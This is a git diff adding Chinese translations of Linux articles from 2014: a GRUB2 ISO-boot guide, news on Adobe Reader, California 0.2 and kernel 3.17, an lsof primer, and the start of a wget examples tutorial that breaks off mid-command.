+我希望这个小技巧可以帮助你,看看你是否受到Shellshock漏洞的影响并解决它。有任何问题和建议,欢迎来提。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/linux-shellshock-check-fix/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://en.wikipedia.org/wiki/Bash_(Unix_shell) +[2]:https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ +[3]:http://www.wired.com/2014/09/hackers-already-using-shellshock-bug-create-botnets-ddos-attacks/ \ No newline at end of file diff --git a/published/201410/20140930 How to Boot Linux ISO Images Directly From Your Hard Drive.md b/published/201410/20140930 How to Boot Linux ISO Images Directly From Your Hard Drive.md new file mode 100644 index 0000000000..563bc89c50 --- /dev/null +++ b/published/201410/20140930 How to Boot Linux ISO Images Directly From Your Hard Drive.md @@ -0,0 +1,94 @@ +直接从硬盘启动Linux ISO镜像 +================================================================================ +![](http://cdn8.howtogeek.com/wp-content/uploads/2014/09/boot-iso-files-directly-from-hard-drive-in-grub2.png) + +Linux的GRUB2启动加载器可以直接从硬盘启动Linux ISO文件,可以启动Live CD的 ISO,而不用烧录到光盘来安装Linux到一个硬盘分区,或从USB驱动启动。 + +我们在Ubuntu 14.04上实施了该过程——Ubuntu及基于Ubuntu的Linux版本对此支持良好。[其它Linux发行版][1]上的工作原理也类似。 + +### 获取Linux ISO文件 ### + +这一密技需要你的硬盘驱动器上安装有Linux系统,你的计算机必须使用[GRUB2启动加载器][2],这是大多数Linux系统的标准启动加载器。不好意思,你是不能使用Windows启动加载器来直接启动一个Linux ISO文件的。 + +下载你想要使用的ISO文件,并放到你的Linux分区中。GRUB2应该支持大多数Linux系统的。如果你想要在live环境中使用它们,而不想将它们安装到硬盘驱动器上,请确认你下载的是各个Linux ISO的“[live CD][3]”版本。很多基于Linux的可启动工具盘也应该可以工作。 + +### 检查ISO文件内容 ### + +你可能需要查看ISO文件的内部来知道那些特定的的文件在哪里。例如,你可以通过使用Ubuntu及其它基于GNOME的桌面环境中的归档管理器/文件管理器这些图形化应用程序来打开ISO文件。在Nautilus文件管理器中,右击ISO文件并选择使用归档管理器打开。 + +找到内核文件和initrd映像。如果你正在使用Ubuntu ISO文件,你会在casper文件夹中找到这些文件——vmlinuz文件是Linux内核,而initrd文件是initrd映像。后面,你需要知道它们在ISO文件中所处的位置。 + +![](http://cdn8.howtogeek.com/wp-content/uploads/2014/09/650x350xvmlinuz-and-initrd-file-locations.png.pagespeed.ic.hB1yMlHMr2.png) + +### 检查硬盘分区路径 ### + +GRUB使用与Linux不同的“设备命名”方式。在Linux系统中,/dev/sda0是硬盘上的第一个分区——**a**是指第一个硬盘,而**0**是指第一个分区。在GRUB中,与/dev/sda0相对应的是(hd0,1)。**0**指第一个硬盘,而**1**则指它上面的第一个分区。换句话说,在GRUB设备名中,磁盘编号从0开始计数,而分区编号则从1开始计数——是啊,这真是突然令人困惑。例如,(hd3,6)是指第四磁盘上的第六分区。 + +你可以使用**fdisk -l**命令来查看该信息。在Ubuntu上,打开终端并运行以下命令: + + sudo fdisk -l + +你将看到一个Linux设备路径列表,你可以自行将它们转成GRUB设备名。例如,在下面的图片中,我们可以看到有个系统分区是/dev/sda1——那么,对于GRUB而言,它就是(hd0,1)。 + +![](http://cdn8.howtogeek.com/wp-content/uploads/2014/09/650x410xfdisk-l-command.png.pagespeed.ic.yW7uP1_G0C.png) + +### 创建GRUB2启动条目 ### + +添加自定义启动条目的最简单的方式是编辑/etc/grub.d/40_custom脚本,该文件设计用于用户自行添加启动条目。在编辑该文件后,/etc/defaults/grub文件和/etc/grub.d/脚本的内容将合成创建/boot/grub/grub.cfg文件——你不应该手工编辑这个文件。它被设计为通过你在另外的文件中指定的设置自动生成。 + +你需要以root特权打开/etc/grub.d/40_custom文件来编辑。在Ubuntu上,你可以通过打开终端窗口,并运行以下命令来完成: + + sudo gedit /etc/grub.d/40_custom + +放轻松点,你可以用你喜爱的文本编辑打开该文件。例如,你可以替换命令中“gedit”为“nano”,在[Nano文本编辑器][4]中打开它。 + +除非你已经添加了其它自定义启动条目,否则你应当看到的是一个几乎空的文件。你需要在[注释][5]行下添加一个或多个ISO启动部分。 + +![](http://cdn8.howtogeek.com/wp-content/uploads/2014/09/650x300xadd-custom-boot-menu-entries-to-grub.png.pagespeed.ic.uUT-Yls8xf.png) + +这里为你展示了怎样来从ISO文件启动Ubuntu或基于Ubuntu的发行版,我们在Ubuntu 14.04下作了测试: + + menuentry "Ubuntu 14.04 ISO" { + set isofile="/home/name/Downloads/ubuntu-14.04.1-desktop-amd64.iso" + loopback loop (hd0,1)$isofile + linux (loop)/casper/vmlinuz.efi boot=casper iso-scan/filename=${isofile} quiet splash + initrd (loop)/casper/initrd.lz + } + +自定义启动条目以包含你期望的菜单的条目名称,并指定计算机上该ISO文件的正确路径,以及包含ISO文件的硬盘和分区设备名。如果vmlinuz和initrd文件的名称或路径不同,请为这些文件指定正确的路径。 + +(如果你的/home/ 目录是一个分区,请忽略/home部分,像这样:**set isofile="/name/Downloads/${isoname}"**)。 + +**重要说明**:不同的Linux版本要求带有不同启动选项的不同的启动条目,GRUB Live ISO多启动项目提供了[用于不同Linux发行版的菜单条目][6]的各种不同类型。你应当为你想要启动的ISO文件调整这些示例菜单条目。你也可以仅仅从网页搜索你想要启动的Linux发行版的名称和发行编号,并附带关键词“在GRUB中从ISO启动”,以获取更多信息。 + +![](http://cdn8.howtogeek.com/wp-content/uploads/2014/09/650x392xadd-a-linux-iso-file-to-grub-boot-loader.png.pagespeed.ic.2FR0nOtugC.png) + +如果你想要添加更多ISO启动选项,请为该文件添加额外部分。 + +完成后保存文件,返回终端窗口并运行以下命令: + + sudo update-grub + +![](http://cdn8.howtogeek.com/wp-content/uploads/2014/09/650x249xgenerate-grub.cfg-on-ubuntu.png.pagespeed.ic.5I70sH4ZRs.png) + +再次启动计算机时,你将看到ISO启动条目,你可以选择它来启动ISO文件。在启动时,你可能需要按Shift键来显示GRUB菜单。 + +如果在尝试启动ISO文件时你看见错误信息或黑屏,那么你的启动条目配置肯定配置错误了。即使ISO文件路径和设备名是正确的,ISO文件上的vmlinuz和initrd文件的路径可能是不正确的,或者你启动Linux系统可能需要不同的选项。 + +-------------------------------------------------------------------------------- + +via: http://www.howtogeek.com/196933/how-to-boot-linux-iso-images-directly-from-your-hard-drive/ + +作者:[Chris Hoffman][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.howtogeek.com/author/chrishoffman/ +[1]:http://www.howtogeek.com/191207/10-of-the-most-popular-linux-distributions-compared/ +[2]:http://www.howtogeek.com/196655/how-to-configure-the-grub2-boot-loaders-settings/ +[3]:http://www.howtogeek.com/172810/take-a-secure-desktop-everywhere-everything-you-need-to-know-about-linux-live-cds-and-usb-drives/ +[4]:http://www.howtogeek.com/howto/42980/the-beginners-guide-to-nano-the-linux-command-line-text-editor/ +[5]:http://www.howtogeek.com/118389/how-to-comment-out-and-uncomment-lines-in-a-configuration-file/ +[6]:http://git.marmotte.net/git/glim/tree/grub2 diff --git a/published/201410/20141008 Adobe Pulls Linux PDF Reader Downloads From Website.md b/published/201410/20141008 Adobe Pulls Linux PDF Reader Downloads From Website.md new file mode 100644 index 0000000000..17e9920227 --- /dev/null +++ b/published/201410/20141008 Adobe Pulls Linux PDF Reader Downloads From Website.md @@ -0,0 +1,41 @@ +Adobe从网站上撤下了Linux PDF Reader的下载链接 +================================================================================ +
![Linux上的其他PDF解决方案](http://www.omgubuntu.co.uk/wp-content/uploads/2012/07/test-pdf.jpg)
+ + +**由于该公司从网站上撤下了软件的下载链接,因此这对于任何需要在Linux上使用Adobe这家公司的PDF阅读器的人而言有些麻烦了。** + +[Reddit 上的一个用户][1]发帖说,当他去 Adobe 网站上去下载该软件时,Linux并没有列在[支持的操作系统][2]里。 + +不知道什么时候,更不知道为什么,Linux版本被删除了,不过第一次被发现是在八月份。 + +这也并没有让人太惊讶。Adobe Reader 官方的Linux版本在2013年5月才更新,而且当时还在滞后的版本9.5.x上,而Windows和Mac版已经在v11.x。 + +### 谁在意呢?无所谓 ### + +这是一个巨大的损失么?你可能并不会这么想。毕竟Adobe Reader是一款名声不好的app。速度慢,占用资源而且体积臃肿。而原生的PDF阅读app像Evince和Okular提供了一流的体验而没有上面的那些缺点。 + +除开Snark,这一决定将会影响一些事。一些政府网站只能使用官方Abode应用才能完成或者提交提供的官方文档和程序。 + +Adobe把Linux给刷了这事并不鲜见。该公司在2012年[停止了Linux上flash版本的更新][3](把它留给Google去做),[并且此前从它们的跨平台运行时环境“Air”中排除了踢开了Linux用户][4]。 + +不过并没有失去一切。虽然网在不再提供链接了,然而在Adobe FTP服务器上仍有Debian的安装程序。计划使用老的版本?需要自己承担风险且没有来自Adobe的支持。同样注意这些版本可能还有没有修复的漏洞。 + +- [下载Ubuntu版本的 Adobe Reader 9.5.5][5] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/10/adobe-reader-linux-download-pulled-website + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://www.reddit.com/r/linux/comments/2hsgq6/linux_version_of_adobe_reader_no_longer/ +[2]:http://get.adobe.com/reader/otherversions/ +[3]:http://www.omgubuntu.co.uk/2012/02/adobe-adandons-flash-on-linux +[4]:http://www.omgubuntu.co.uk/2011/06/adobe-air-for-linux-axed +[5]:ftp://ftp.adobe.com/pub/adobe/reader/unix/9.x/9.5.5/enu/AdbeRdr9.5.5-1_i386linux_enu.deb \ No newline at end of file diff --git a/published/201410/20141008 Linux Calendar App California 0.2 Released.md b/published/201410/20141008 Linux Calendar App California 0.2 Released.md new file mode 100644 index 0000000000..d70213fb0f --- /dev/null +++ b/published/201410/20141008 Linux Calendar App California 0.2 Released.md @@ -0,0 +1,57 @@ +Linux日历程序California 0.2 发布了 +================================================================================ +**随着[上月的Geary和Shotwell的更新][1],非盈利软件套装Yobra又回来了,同时带来了是新的[California][2]日历程序。** + +一个合格的桌面日历是工作井井有条(以及想要井井有条)的必备工具。[Chrome Web Store上广受欢迎的Sunrise应用][3]的发布让我们的选择比以前更丰富了,而California又为之增添了新的生力军! + +Yorba的Jim Nelson在Yorba博客上写道:“发生了很多变化“,接着写道:“...很高兴的告诉大家,初次发布比我预想的加入了更多的特性。” + +![California 0.2 Looks Great on GNOME](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/california-point-2.jpg) + +*California 0.2在GNOME上看上去棒极了。* + +最突出变化的是添加了“自然语言”解析器。这使得添加事件更容易。你可以直接输入“**在下午2点就Nachos会见Sam**”接着California就会自动把它安排下接下来的星期一的下午两点,而不必你手动输入位的信息(日期,时间等等)。(LCTT 译注:显然你只能输入英文才行) + + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/Screen-Shot-2014-05-15-at-21.26.20.png) + +这个功能和我们我们在5月份评估开发版本时一样好用,甚至还修复了一个bug:事件重复。 + +要创建一个重复时间(比如:“每个星期四搜索自己的名字”),你需要在日期前包含文字“every”(每个)。要确保地点也在内(比如:中午12点和Samba De Amigo在Boston Tea Party喝咖啡)。条目中需要有“at”或者“@”。 + +至于详细信息,我们可以见[GNOME Wiki上的快速添加页面][4]: + +其他的改变包括: + +-以‘月’和‘周’视图查看事件 +-添加/删除 Google,CalDAV和web(.ics)日历 +-改进数据服务器整合 +-添加/编辑/删除远程事件(包括重复事件) +-用自然语言安排计划 +-按下F1获取在线帮助 +-新的动画和弹出窗口 + +### 在Ubuntu 14.10上安装 California 0.2 ### + +作为一个GNOME 3的程序,它在 Gnome 3下运行的外观和体验会更好。 + +不过,Yorba也没有忽略Ubuntu用户。他们已经努力(也可以说是耐心地)地解决导致Ubuntu需要同时安装GTK+和GNOME的主题问题。结果就是在Ubuntu上程序可能看上去有点错位,但是同样工作的很好。 + +California 0.2在[Yorba稳定版软件PPA][5]中可以下载,只用于Ubuntu 14.10。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/10/california-calendar-natural-language-parser + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2014/09/new-shotwell-geary-stable-release-available-to-downed +[2]:https://wiki.gnome.org/Apps/California +[3]:http://www.omgchrome.com/sunrise-calendar-app-for-google-chrome/ +[4]:https://wiki.gnome.org/Apps/California/HowToUseQuickAdd +[5]:https://launchpad.net/~yorba/+archive/ubuntu/ppa?field.series_filter=utopic \ No newline at end of file diff --git a/published/201410/20141008 Linux Kernel 3.17 Is Out With Plenty of New Features.md b/published/201410/20141008 Linux Kernel 3.17 Is Out With Plenty of New Features.md new file mode 100644 index 0000000000..34fba40131 --- /dev/null +++ b/published/201410/20141008 Linux Kernel 3.17 Is Out With Plenty of New Features.md @@ -0,0 +1,54 @@ +Linux Kernel 3.17 带来了很多新特性 +================================================================================ +Linus Torvalds已经发布了最新的稳定版内核3.17。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2011/07/Tux-psd3894.jpg) + +Torvalds以他典型的[放任式][1]的口吻在Linux内核邮件列表中解释说: + +> “过去的一周很平静,我对3.17的如期发布没有疑虑(相对于乐观的“我应该早一周发布么”的计划而言)。” + +由于假期,Linux说他还没有开始合并3.18的改变: + +>“我马上要去旅行了- 在我期盼早点发布的时候我希望避免一些事情。这意味着在3.17发布后,我不会在下周非常活跃地合并新的东西,并且下下周是LinuxCon EU” + +### Linux 3.17有哪些新的? ### + +最新版本的 Linux 3.17 加入了最新的改进,硬件支持,修复等等。范围从不明觉厉的 - 比如:[memfd 和 文件密封补丁][2] - 到大多数人感兴趣的,比如最新硬件的支持。 + +下面是这次发布的一些亮点的列表,但它们并不详尽: + +- Microsoft Xbox One 控制器支持 (没有震动反馈) +- 额外的Sony SIXAXIS支持改进 +- 东芝 “主动防护感应器” 支持 +- 新的包括Rockchip RK3288和AllWinner A23 SoC的ARM芯片支持 +- 安全计算设备上的“跨线程过滤设置” +- 基于Broadcom BCM7XXX板卡的支持(用在不同的机顶盒上) +- 增强的AMD Radeon R9 290支持 +- Nouveau 驱动改进,包括Kepler GPU修复 +- 包含Intel Broadwell超级本上的Wildcatpoint Audio DSP音频支持 + +### 在Ubuntu上安装 Linux 3.17 ### + +虽然被列为稳定版,但是目前对于大多数人而言只有很少的功能需要我们“现在去安装”。 + +但是如果你很耐心——**更重要的是**——有足够的技能去处理从中导致的问题,你可以通过在由Canonical维护的主线内核存档中找到一系列合适的包安装在你的Ubuntu 14.10中,升级到Linux 3.17。 + +**警告:除非你知道你正在做什么,不要尝试从下面的链接中安装任何东西。** + +- [访问Ubuntu内核主线存档][3] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/10/linux-kernel-3-17-whats-new-improved + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://lkml.iu.edu/hypermail/linux/kernel/1410.0/02818.html +[2]:http://lwn.net/Articles/607627/ +[3]:http://kernel.ubuntu.com/~kernel-ppa/mainline/?C=N;O=D \ No newline at end of file diff --git a/published/201410/20141009 Linux Terminal--An lsof Primer.md b/published/201410/20141009 Linux Terminal--An lsof Primer.md new file mode 100644 index 0000000000..76266736b9 --- /dev/null +++ b/published/201410/20141009 Linux Terminal--An lsof Primer.md @@ -0,0 +1,253 @@ +Linux 命令神器:lsof 入门 +================================================================================ +![](http://cdn.linuxaria.com/wp-content/uploads/2011/06/tux-terminal.jpg) + +**lsof**是系统管理/[安全][2]的尤伯工具。我大多数时候用它来从系统获得与[网络][3]连接相关的信息,但那只是这个强大而又鲜为人知的应用的第一步。将这个工具称之为lsof真实名副其实,因为它是指“**列出打开文件(lists openfiles)**”。而有一点要切记,在Unix中一切(包括网络套接口)都是文件。 + +有趣的是,lsof也是有着最多开关的Linux/Unix命令之一。它有那么多的开关,它有许多选项支持使用-和+前缀。 + + usage: [-?abhlnNoOPRstUvV] [+|-c c] [+|-d s] [+D D] [+|-f[cgG]] + [-F [f]] [-g [s]] [-i [i]] [+|-L [l]] [+|-M] [-o [o]] + [-p s] [+|-r [t]] [-S [t]] [-T [t]] [-u s] [+|-w] [-x [fl]] [--] [names] + +正如你所见,lsof有着实在是令人惊讶的选项数量。你可以使用它来获得你系统上设备的信息,你能通过它了解到指定的用户在指定的地点正在碰什么东西,或者甚至是一个进程正在使用什么文件或网络连接。 + +对于我,lsof替代了netstat和ps的全部工作。它可以带来那些工具所能带来的一切,而且要比那些工具多得多。那么,让我们来看看它的一些基本能力吧: + +### 关键选项 ### + +理解一些关于lsof如何工作的关键性东西是很重要的。最重要的是,当你给它传递选项时,**默认行为**是对结果进行“或”运算。因此,如果你正是用-i来拉出一个端口列表,同时又用-p来拉出一个进程列表,那么默认情况下你会获得两者的结果。 + +下面的一些其它东西需要牢记: + +- **默认** : 没有选项,lsof列出活跃进程的所有打开文件 +- **组合** : 可以将选项组合到一起,如-abc,但要当心哪些选项需要参数 +- **-a** : 结果进行“与”运算(而不是“或”) +- **-l** : 在输出显示用户ID而不是用户名 +- **-h** : 获得帮助 +- **-t** : 仅获取进程ID +- **-U** : 获取UNIX套接口地址 +- **-F** : 格式化输出结果,用于其它命令。可以通过多种方式格式化,如-F pcfn(用于进程id、命令名、文件描述符、文件名,并以空终止) + +### 获取网络信息 ### + +正如我所说的,我主要将lsof用于获取关于系统怎么和网络交互的信息。这里提供了关于此信息的一些主题: + +#### 使用-i显示所有连接 #### + +有些人喜欢用netstat来获取网络连接,但是我更喜欢使用lsof来进行此项工作。结果以对我来说很直观的方式呈现,我仅仅只需改变我的语法,就可以通过同样的命令来获取更多信息。 + + # lsof -i + + COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME + dhcpcd 6061 root 4u IPv4 4510 UDP *:bootpc + sshd 7703 root 3u IPv6 6499 TCP *:ssh (LISTEN) + sshd 7892 root 3u IPv6 6757 TCP 10.10.1.5:ssh->192.168.1.5:49901 (ESTABLISHED) + +#### 使用-i 6仅获取IPv6流量 #### + + # lsof -i 6 + +#### 仅显示TCP连接(同理可获得UDP连接) #### + +你也可以通过在-i后提供对应的协议来仅仅显示TCP或者UDP连接信息。 + + # lsof -iTCP + + COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME + sshd 7703 root 3u IPv6 6499 TCP *:ssh (LISTEN) + sshd 7892 root 3u IPv6 6757 TCP 10.10.1.5:ssh->192.168.1.5:49901 (ESTABLISHED) + +#### 使用-i:port来显示与指定端口相关的网络信息 #### + +或者,你也可以通过端口搜索,这对于要找出什么阻止了另外一个应用绑定到指定端口实在是太棒了。 + + # lsof -i :22 + + COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME + sshd 7703 root 3u IPv6 6499 TCP *:ssh (LISTEN) + sshd 7892 root 3u IPv6 6757 TCP 10.10.1.5:ssh->192.168.1.5:49901 (ESTABLISHED) + +#### 使用@host来显示指定到指定主机的连接 #### + +这对于你在检查是否开放连接到网络中或互联网上某个指定主机的连接时十分有用。 + + # lsof -i@172.16.12.5 + + sshd 7892 root 3u IPv6 6757 TCP 10.10.1.5:ssh->172.16.12.5:49901 (ESTABLISHED) + +#### 使用@host:port显示基于主机与端口的连接 #### + +你也可以组合主机与端口的显示信息。 + + # lsof -i@172.16.12.5:22 + + sshd 7892 root 3u IPv6 6757 TCP 10.10.1.5:ssh->172.16.12.5:49901 (ESTABLISHED) + +#### 找出监听端口 #### + +找出正等候连接的端口。 + + # lsof -i -sTCP:LISTEN + +你也可以grep “LISTEN”来完成该任务。 + + # lsof -i | grep -i LISTEN + + iTunes 400 daniel 16u IPv4 0x4575228 0t0 TCP *:daap (LISTEN) + +#### 找出已建立的连接 #### + +你也可以显示任何已经连接的连接。 + + # lsof -i -sTCP:ESTABLISHED + +你也可以通过grep搜索“ESTABLISHED”来完成该任务。 + + # lsof -i | grep -i ESTABLISHED + + firefox-b 169 daniel 49u IPv4 0t0 TCP 1.2.3.3:1863->1.2.3.4:http (ESTABLISHED) + +### 用户信息 ### + +你也可以获取各种用户的信息,以及它们在系统上正干着的事情,包括它们的网络活动、对文件的操作等。 + +#### 使用-u显示指定用户打开了什么 #### + + # lsof -u daniel + + -- snipped -- + Dock 155 daniel txt REG 14,2 2798436 823208 /usr/lib/libicucore.A.dylib + Dock 155 daniel txt REG 14,2 1580212 823126 /usr/lib/libobjc.A.dylib + Dock 155 daniel txt REG 14,2 2934184 823498 /usr/lib/libstdc++.6.0.4.dylib + Dock 155 daniel txt REG 14,2 132008 823505 /usr/lib/libgcc_s.1.dylib + Dock 155 daniel txt REG 14,2 212160 823214 /usr/lib/libauto.dylib + -- snipped -- + +#### 使用-u ^user来显示除指定用户以外的其它所有用户所做的事情 #### + + # lsof -u ^daniel + + -- snipped -- + Dock 155 jim txt REG 14,2 2798436 823208 /usr/lib/libicucore.A.dylib + Dock 155 jim txt REG 14,2 1580212 823126 /usr/lib/libobjc.A.dylib + Dock 155 jim txt REG 14,2 2934184 823498 /usr/lib/libstdc++.6.0.4.dylib + Dock 155 jim txt REG 14,2 132008 823505 /usr/lib/libgcc_s.1.dylib + Dock 155 jim txt REG 14,2 212160 823214 /usr/lib/libauto.dylib + -- snipped -- + +#### 杀死指定用户所做的一切事情 #### + +可以消灭指定用户运行的所有东西,这真不错。 + + # kill -9 `lsof -t -u daniel` + +### 命令和进程 ### + +可以查看指定程序或进程由什么启动,这通常会很有用,而你可以使用lsof通过名称或进程ID过滤来完成这个任务。下面列出了一些选项: + +#### 使用-c查看指定的命令正在使用的文件和网络连接 #### + + # lsof -c syslog-ng + + COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME + syslog-ng 7547 root cwd DIR 3,3 4096 2 / + syslog-ng 7547 root rtd DIR 3,3 4096 2 / + syslog-ng 7547 root txt REG 3,3 113524 1064970 /usr/sbin/syslog-ng + -- snipped -- + +#### 使用-p查看指定进程ID已打开的内容 #### + + # lsof -p 10075 + + -- snipped -- + sshd 10068 root mem REG 3,3 34808 850407 /lib/libnss_files-2.4.so + sshd 10068 root mem REG 3,3 34924 850409 /lib/libnss_nis-2.4.so + sshd 10068 root mem REG 3,3 26596 850405 /lib/libnss_compat-2.4.so + sshd 10068 root mem REG 3,3 200152 509940 /usr/lib/libssl.so.0.9.7 + sshd 10068 root mem REG 3,3 46216 510014 /usr/lib/liblber-2.3 + sshd 10068 root mem REG 3,3 59868 850413 /lib/libresolv-2.4.so + sshd 10068 root mem REG 3,3 1197180 850396 /lib/libc-2.4.so + sshd 10068 root mem REG 3,3 22168 850398 /lib/libcrypt-2.4.so + sshd 10068 root mem REG 3,3 72784 850404 /lib/libnsl-2.4.so + sshd 10068 root mem REG 3,3 70632 850417 /lib/libz.so.1.2.3 + sshd 10068 root mem REG 3,3 9992 850416 /lib/libutil-2.4.so + -- snipped -- + +#### -t选项只返回PID #### + + # lsof -t -c Mail + + 350 + +### 文件和目录 ### + +通过查看指定文件或目录,你可以看到系统上所有正与其交互的资源——包括用户、进程等。 + +#### 显示与指定目录交互的所有一切 #### + + # lsof /var/log/messages/ + + COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME + syslog-ng 7547 root 4w REG 3,3 217309 834024 /var/log/messages + +### 显示与指定文件交互的所有一切 ### + + # lsof /home/daniel/firewall_whitelist.txt + +### 高级用法 ### + +与[tcpdump][4]类似,当你开始组合查询时,它就显示了它强大的功能。 + +#### 显示daniel连接到1.1.1.1所做的一切 #### + + # lsof -u daniel -i @1.1.1.1 + + bkdr 1893 daniel 3u IPv6 3456 TCP 10.10.1.10:1234->1.1.1.1:31337 (ESTABLISHED) + +#### 同时使用-t和-c选项以给进程发送 HUP 信号 #### + + # kill -HUP `lsof -t -c sshd` + +#### lsof +L1显示所有打开的链接数小于1的文件 #### + +这通常(当不总是)表示某个攻击者正尝试通过删除文件入口来隐藏文件内容。 + + # lsof +L1 + + (hopefully nothing) + +#### 显示某个端口范围的打开的连接 #### + + # lsof -i @fw.google.com:2150=2180 + +### 结尾 ### + +本入门教程只是管窥了lsof功能的一斑,要查看完整参考,运行man lsof命令或查看[在线版本][5]。希望本文对你有所助益,也随时[欢迎你的评论和指正][6]。 + +### 资源 ### + +- lsof手册页:[http://www.netadmintools.com/html/lsof.man.html][7] + + +本文由 Daniel Miessler撰写,首次在他[博客][1]上贴出 + + +-------------------------------------------------------------------------------- + +via: http://linuxaria.com/howto/linux-terminal-an-lsof-primer + +作者:[Daniel Miessler][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/101727609700016666852/posts?rel=author +[1]:http://danielmiessler.com/study/lsof/ +[2]:http://linuxaria.com/tag/security +[3]:http://linuxaria.com/tag/network +[4]:http://danielmiessler.com/study/tcpdump/ +[5]:http://www.netadmintools.com/html/lsof.man.html +[6]:http://danielmiessler.com/connect/ +[7]:http://www.netadmintools.com/html/lsof.man.html diff --git a/published/201410/20141009 Linux or UNIX wget command with practical examples.md b/published/201410/20141009 Linux or UNIX wget command with practical examples.md new file mode 100644 index 0000000000..429e997c1d --- /dev/null +++ b/published/201410/20141009 Linux or UNIX wget command with practical examples.md @@ -0,0 +1,127 @@ +wget 命令实例 +================================================================================ +wget是Linux/Unix命令行**文件下载器**,它是下载网站上文件的免费的非交互下载工具,它支持**HTTP**、**HTTPS**和**FTP**协议,也支持通过HTTP代理检索。Wget是非交互的,这就是说它可以在用户没有登录到系统时在后台工作。 + +在本帖中,我们将讨论wget命令的一些不同使用实例。 + +### 实例1 :下载单个文件 ### + + # wget http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-DVD.iso + +该命令会下载CentOS 7 ISO文件到用户当前工作目录中。 + +### 实例2:续传分段下载文件 ### + +总有那么一些场景,当我们开始下载一个大文件时,中途互联网却断开了。那样的话,我们可以使用wget命令的‘**-c**’选项,让下载从断点续传。 + + # wget -c http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-DVD.iso + +![](http://www.linuxtechi.com/wp-content/uploads/2014/09/wget-resume-download-1024x111-1.jpg) + +### 实例3:后台下载文件 ### + +我们可以通过在wget命令中使用‘-b’选项来让它在后台下载文件。 + + linuxtechi@localhost:~$ wget -b http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/ + CentOS-7.0-1406-x86_64-DVD.iso + Continuing in background, pid 4505. + Output will be written to ‘wget-log’. + +正如我们上面所见,下载进程被捕获到用户当前目录中的‘wget-log’文件中。 + + linuxtechi@localhost:~$ tail -f wget-log + 2300K ………. ………. ………. ………. ………. 0% 48.1K 18h5m + 2350K ………. ………. ………. ………. ………. 0% 53.7K 18h9m + 2400K ………. ………. ………. ………. ………. 0% 52.1K 18h13m + 2450K ………. ………. ………. ………. ………. 0% 58.3K 18h14m + 2500K ………. ………. ………. ………. ………. 0% 63.6K 18h14m + 2550K ………. ………. ………. ………. ………. 0% 63.4K 18h13m + 2600K ………. ………. ………. ………. ………. 0% 72.8K 18h10m + 2650K ………. ………. ………. ………. ………. 0% 59.8K 18h11m + 2700K ………. ………. ………. ………. ………. 0% 52.8K 18h14m + 2750K ………. ………. ………. ………. ………. 0% 58.4K 18h15m + 2800K ………. ………. ………. ………. ………. 0% 58.2K 18h16m + 2850K ………. ………. ………. ………. ………. 0% 52.2K 18h20m + +### 实例4:限制下载速率 ### + +默认情况下,wget命令尝试以全速下载,但是有时候你可能使用的是共享互联网,那么如果你尝试使用wget来下载庞大的文件时,就会把其它用户的网络拖慢。这时,你如果使用‘-limit-rate’选项来限制下载速率,就可以避免这种情况的发生。 + + #wget --limit-rate=100k http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-DVD.iso + +在上例中,下载速率被限制到了100k。 + +### 实例5:使用‘-i’选项来下载多个文件 ### + +如果你想要使用wget命令来下载多个文件,那么首先要创建一个文本文件,并将所有的URL添加到该文件中。 + + # cat download-list.txt + url1 + url2 + url3 + url4 + +现在,发出以下命令吧: + + # wget -i download-list.txt + +### 实例6:增加重试次数 ### + +我们可以使用‘-tries’选项来增加重试次数。默认情况下,wget命令会重试20次,直到下载成功。 + +该选项在你下载一个大文件的过程中互联网连接发生问题时十分有用,因为在那种情况下,会增加下载失败的几率。 + + # wget --tries=75 http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-DVD.iso + +### 实例7:使用-o选项来重定向wget日志到文件 ### + +我们可以使用‘-o’选项来重定向wget命令的日志到一个日志文件。 + + #wget -o download.log 